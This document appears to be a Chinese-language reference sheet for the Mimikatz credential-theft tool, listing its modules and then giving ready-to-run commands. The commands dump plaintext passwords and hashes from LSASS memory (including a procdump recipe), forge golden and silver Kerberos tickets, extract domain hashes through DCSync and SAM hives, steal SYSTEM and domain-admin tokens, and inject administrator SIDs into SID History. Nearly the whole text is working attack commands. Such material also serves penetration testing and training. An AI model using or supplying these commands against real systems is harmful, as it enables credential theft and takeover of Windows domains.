1. standard模块
这些standard命令几乎不常用 但是需要提一下base64
# 查看base64的支持
base64
# input 支持base64
base64 /input:on
# output 支持base64
base64 /output:on
# input 不支持base64
base64 /input:off
# output 不支持base64
base64 /output:off
2. 其他模块
-
• crypto 加密模块
-
• sekurlsa 用来枚举凭据的命令
-
• kerberos包模块
-
• ngc 下一代密码学模块
-
• privilege 提权模块
-
• process 进程模块
-
• service 服务模块
-
• lsadump模块
-
• ts 终端服务器模块
-
• event 事件模块
-
• misc 杂项模块
-
• token 令牌操作模块
-
• vault Windows凭据模块
-
• minesweeper模块
-
• dpapi模块
-
• busylight模块
-
• sysenv 系统环境值模块
-
• sid 安全标识符模块
-
• iis IIS XML配置模块
-
• rpc RPC控制
-
• sr98设备和T5577目标模块
-
• acr ACR模块
其中常用的是privilege、sekurlsa、kerberos、lsadump、token、sid模块
1. privilege模块
该模块是用于提权的模块,很多模块需要高权限运行,所以要先进行提权,只能用具有管理员权限的命令行窗口才可以执行成功,普通用户使用提权命令会失败
privilege::debug
2. sekurlsa模块
使用该模块需要高权限,因此需要执行提权命令,如下是常用命令
# 只抓取内存中保存的用户明文密码
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
# 只抓取内存中保存的用户Hash
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit
# 只抓取内存中保存的用户密码的Key值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit
# 抓取内存中保存的用户所有凭据
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 加载dmp文件,并导出其中的明文密码
procdump.exe -accepteula -ma lsass.exe lsass.dmp
privilege::debug
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
# 导出lsass.exe 进程中所有的票据
sekurlsa::tickets /export
从server2012开始,默认情况下,内存中不保存用户的 明文密码
3. kerberos模块
该模块是与Kerberos相关的模块
# 查看内存中的kerberos TGT
mimikatz.exe "kerberos::tgt" exit
# 查看内存中所有的Kerberos票据
mimikatz.exe "kerberos::list" exit
# 清除票据
mimikatz.exe "kerberos::purge" exit
# 将票据注入到内存中
mimikatz.exe "kerberos::ptt administrator.kirbi" exit
# 黄金票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /krbtgt:krbtgt的哈希或AES Key /ptt
# 白银票据传递攻击
kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid /target:服务机器 /service:指定服务如cifs、ldap /rc4:服务账户的Hash /ptt
4. lsadump模块
改模块是对Local Security Authiruty(LSA)进行密码抓取的模块
# 通过DSync导出指定用户的Hash,格式化输出
lsadump::dcsync /domain:god.org /user:krbtgt /csv
# 通过DSync导出指定用户的密码Hash的详细信息
lsadump::dcsync /domain:god.org /user:krbtgt
# 通过DSync导出所有用户的Hash
lsadump::dcsync /domain:god.org /all /csv
# 读取所有域用户的Hash,需要在域控上以管理员权限打开窗口
privilege::debug
lsadump::lsa /patch
# 从sam.hive和system.hive文件中获得NTLM Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive
lsadump::sam /sam:sam.hive /system:system.hive
# 从本地SAM文件中读取密码Hash
privilege::debug
token::elevate
lsadump::sam
5. token模块
# 列出当前进程的token信息
token::whoami
token::whoami /full
# 列出当前系统中存在的token,高权限流出的token最全面
token::list
# 窃取指定token id的token
token::elevate /id
# 窃取System权限的token(默认)
token::elevate /system
# 窃取域管理员的token
token::elevate /domainadmin
# 窃取企业管理员的token
token::elevate /enterpriseadmin
# 窃取本地管理员的token
token::elevate /admin
# 窃取Local Service权限的token
token::elevate /localservice
# 窃取Network service权限的token
token::elevate /networkservice
# 恢复为之前的token
token::revert
6. sid模块
# 查询指定对象的SID
sid::lookup /name:xuan
# 查询指定SID对应的对象
sid::lookup /sid:S-1-5-21-1982601180-2087634876-2293013296-1001
# 通过samAccountName属性查询对象的一些信息
sid::query /sam:lzx
# 通过SID属性查询对象的一些信息
sid::query /sid:S-1-5-21-2952760202-1353902439-2381784089-1109
# 通过samAccountName属性修改对象的SID
sid::patch
sid::modify /sam:liu /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过sid属性修改对象的SID
sid::patch
sid::modify /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过samAccountName属性给对象添加一个SID History属性
sid::patch
sid::add /sam:lzx /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 通过sid属性给对象添加一个SID History属性
sid::patch
sid::add /sid:S-1-5-21-1982601180-2087634876-2293013296-1001 /new:S-1-5-21-2952760202-1353902439-2381784089-109
# 将administrator的SID添加到test的SID History属性中
sid::patch
sid::add /sam:lzx /new:administrator
# 清除指定samAccountName对象的SID History属性
sid::clear /sam:xuan
# 清除指定sid对象的SID History属性
sid::clear /sid:S-1-5-21-1982601180-2087634876-2293013296-1001